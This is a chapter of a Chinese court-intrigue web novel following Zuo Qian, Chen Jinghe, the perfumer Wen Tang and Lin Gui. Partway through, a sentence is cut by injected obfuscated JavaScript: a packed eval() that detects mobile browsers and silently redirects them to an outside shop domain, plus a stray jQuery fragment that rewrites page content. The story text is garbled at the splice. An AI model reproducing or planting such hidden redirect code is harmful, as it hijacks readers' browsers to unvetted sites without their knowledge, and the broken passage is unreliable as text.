左迁随着陈府的下人来至外书房,陈旌合已将茶备好,两人隔着案几相对而坐。
“我记着,左大人是景弘二十年还是二十一年的进士。”
左迁颔首点头:“景弘二十一年。”
“彼时左大人当不过十八九岁,少年英雄。”
“大相公过誉。”
陈旌合阖目摇头:“我大梁开国至今,能如此年少便进士及第的,左右不出两三人。而能走到今日的,一位是你,另一位便是驸马。”
陈旌合顿了下,看向左迁,继续说道:“何况,左大人出身寒门,能走到今天这一步,所付出的牺牲,绝非常人可比。”
若是陈天安也能如此,他当放心许多。
“若真要论少年英雄,又有何人比得上大相公。大相公当年一人持节,独自赴往西沙,兵不血刃逼迫其放弃了东进。若非如此,太祖当年三面受敌,又何来大梁今日。而大相公当年,也不过二十三岁。”
“俱已矣,左大人前途无量。而我,不过是个年近七旬的花甲老夫。”
“大相公已为朝堂付出了自己的大半生,这数十年竟没有丝毫动摇吗?”
陈旌合靠着椅背,微微仰头:“左大人此言何意?”
左迁下意识握紧手中的茶盏,勾着嘴角,眼底却带着冰凉,目光对上陈旌合,空气中有一瞬的僵持。
他笑着回应:“下官自问,我心中亦有私心,让我像大相公一样,鞠躬尽瘁,晚辈未必能如此。”
陈旌合只是眯着眼睛,沉默许久,最终只是一字一字:“并非人人亦须如此,从汝所欲。”
左迁颔首起身,恭敬作揖:“谨记大相公教诲。”
陈府的下人在门外候着,抬头看了看日头,推门走入书房:“大相公,三郎君已到了祠堂。”
陈旌合点了点头,示意下人离开。左迁顺势离开:“大相公和小陈大人既还有事,下官先行告辞。”
陈旌合也站起身:“不远送了,左大人,前路险行,要当心。”
左迁离开后,陈旌合来到祠堂。陈家的祠堂中并无牌位供奉,龛前唯独横置着一把匕首。一室的长明灯,灯芯闪烁,烛光幽暗。
陈天安推门进入祠堂,昏黄的烛灯映在陈旌合的背影上。
“父亲。”
陈旌合迅速将匕首推回短鞘中。
“知道左迁来做什么的吗?”
“那想来,是有事情与父亲商议。”
陈旌合对儿子的回答嗤之以鼻:“你若是他,去年就直接死在会阳水患里了。”
“还请父亲解惑。”
他只是叹了口气:“可惜了,如此少年英雄,要么离开了朝堂,要么已是孤魂野鬼,也就剩一个左迁了。”
温棠这日来余烟阁的时辰有些晚了,临近正午的夏日,稍走两步,便可汗湿衣衫。
前两日温棠下工时,没有带纸伞,只好淋雨而归,第二日便起了热,休息两日才回到余烟阁上工。
窈娘今日不在,余烟阁其余的人尚不知温棠准备离开之事,银子见到她,便小跑着迎上来。
“可算是回来了,陈家派人来寻你了,我只说你病了,让他们过两日再来请。”
温棠眼睛红肿,哑着嗓子,艰难出声:“咳咳,何时来的?”
“昨日下午。”
温棠点了点头,从带来的包裹中拿出几个瓷瓶,又指了指远处的货架,示意银子将其摆上。
窈娘已提前和她打过招呼,她无需再做这些,可温棠到底是在家中闲不住,又做了几样新制香料,这才送来。
“今日阁中若是不忙,我便先走了。”
银子没有多想:“是呀,身体没好全就早些回去休息。”
温棠欲要转身朝外走去,又想起什么:“可还有别人来过?”
银子闻着温棠新送来的香料,语气不解:“应该没有了。”
温棠垂眸,转身离开了余烟阁。
她没有回西街,而是去了陈府上。暑热渐盛,陈夫人让她在外头等了许久,才允她入内。
温棠入内时,鼻尖和额上皆冒出了细密的汗珠,她微微欠身:“陈夫人万安。”
陈夫人侧头示意一旁的侍女:“出去吧,把门关上。”
她站起身,走到梳妆台前坐下:“你倒是希望我万安。”她抬眸看着镜中的自己,“做的却都是让我不安之事。”
听到这话,温棠平静回应:“岂敢。”
“胡氏的香,是你制的?”陈夫人拿过一旁的妆奁盒,“其实她用的是什么香,我并不在意,官人本也不是好香之人。我只想知道,胡氏为何忽然就要用上香料了呢?”
温棠仍是静静站在原处,没有回答。
陈夫人转过身,眼中暗藏怒火:“不能说?”
“我答应了她,不会说出去。”
陈夫人起身走向她,伸手用力捏住她的下巴:“你若是要投靠我,此时便当说出来。”
陈夫人松手推开温棠,她踉跄后退一步。温棠稳住脚步。
温棠呼吸有些急促,目光直直看向陈夫人,嘴角微微上扬。
“不能说,那我猜猜。是她忽然迷恋上了香料,又或是想借着小产,惹官人注意?”
陈夫人双手交握着,又忽然伸开双臂转身走回梳妆台前。
“你的香料,我所剩不多,近日总觉得效果不明显。”
“夫人的不寐之症想要根治,还是要寻医官来看。至于香料,是要经常调整,方能见效。”
陈夫人不置可否:“即日起,你每五日便来我这里,继续为我调香。你的酬金,我会直接交予你,无需经手余烟阁。”
她从镜中看去,见温棠仍是刚刚的样子,十分恭敬,却让她觉得有些镇不住。
温棠为了这个结果,布局多日。她借着相熟的显贵夫人,得见了胡氏的妹妹,本想随缘一试,未曾想胡氏当真需要香料,用来遮掩小产后身上的隐疾。
自马球会后,她就再没见过陈夫人。不寐一事靠香料本就治标不治本,时日一久,她大可以舍了温棠。
终于,她得以再次接近到陈家,重新引起陈夫人的注意。
虽已达成目的,温棠压着心中的狂喜,语气平静地回应:“是。”
温棠回到西街时,晚霞的余晖晕开云层,残阳如血。
夏日炎热
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17658217|204612||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,百姓大多都不愿出门。温棠的房主这一日也在家,见温棠回来,主动打起招呼。
“温娘子回来了,近日不忙?每日都见你回来的比以前早。”
温棠温柔善意地笑着:“是,这几天阁中不忙。”
“这倒是不巧了,方才有人来给你送东西,我想着你应该回来得晚,就让人放我这了。娘子的嗓子不适,还是要且饮些热汤。”
老房主把包裹递给温棠,听见小孙女远远的喊她,赶紧跟温棠致歉离开。
温棠回到楼上,将包裹打开,里面是一些配好了的伤寒药,和一些常见的备药。
她无奈地笑了笑:“我又不是自己不会去配。”
只不过她确实直到今日都没有去医馆配药,这处她租赁的房中,也没有备什么药。再者,她觉着自己并没有什么大问题,坚持两天身体也就好了。
虽然未曾署名,可她知道送药之人是谁。
林游之,你是不是对我,也有些不一样的心思。
夜色如墨,上京城逐渐寂静下来,吏部架库阁的人早已下职。
林归身着一身黑衣,混入架库阁。漆黑的一片,仿若虚空,林归却对此很熟悉,避开每一处高架,一直走到架库阁最深处,他摸索着寻到位置,将袖中的卷轴放回。
四周骤然明亮,林归心中一惊,立时转身,便见左迁踱步,朝他走来。
林归皱眉,看着他走近。
“林大人,深夜来访,所为何事?”
“皇城司近日查到有关吏部的线索,特来核实。”
“既如此,林大人白日里同徐尚书通传一声便是,何必如此。须知吏部和皇城司,可并无干连。”
“那左大人深夜无灯值守于此,又是为何?”
“我在此处琢磨一件事。”
林归顺着追问:“愿闻其详。”
“林大人去岁同我一同去治水,实则神龙见首不见尾,更是先我一步回京。”
林归心知左迁的用意:“此事,我同左大人已告过罪。官家也早有处置。”
左迁抬脚,向他走近一步:“通州董然贪墨抚恤金一案,震动朝野,官家交由皇城司审理,虽也在情理之中,却也非同寻常。官家明察秋毫,通州提刑官心细如发,这才让董然没能继续逍遥法外。”
他说的是去年便盖棺定论之事。
“可官家当时登基未久,分身乏术,又如何暗中查到董然?”
“放肆。”
左迁直视着他,压低声音:“林大人便恭敬了?”
左迁守在此处,定是发现了旧卷的异常,又在此提及通州旧案,林归知晓左迁必定猜到了他的目的和所做之事:“你想如何?”
两人在过道上僵持着,谁也没有让开。
良久,左迁避开了目光,侧过身:“我今日未曾见过你。”
林归一瞬诧异,瞳孔微不可察地放大,他黯了黯目光,快步离开。他离开后,架库阁再次陷入黑暗。
架库阁临近皇城东侧,城中街巷上空无一人。林归压低夜行衣的帽檐,顺着墙边朝前走去。
“林指挥使,如此深夜,何故出现在六部附近?”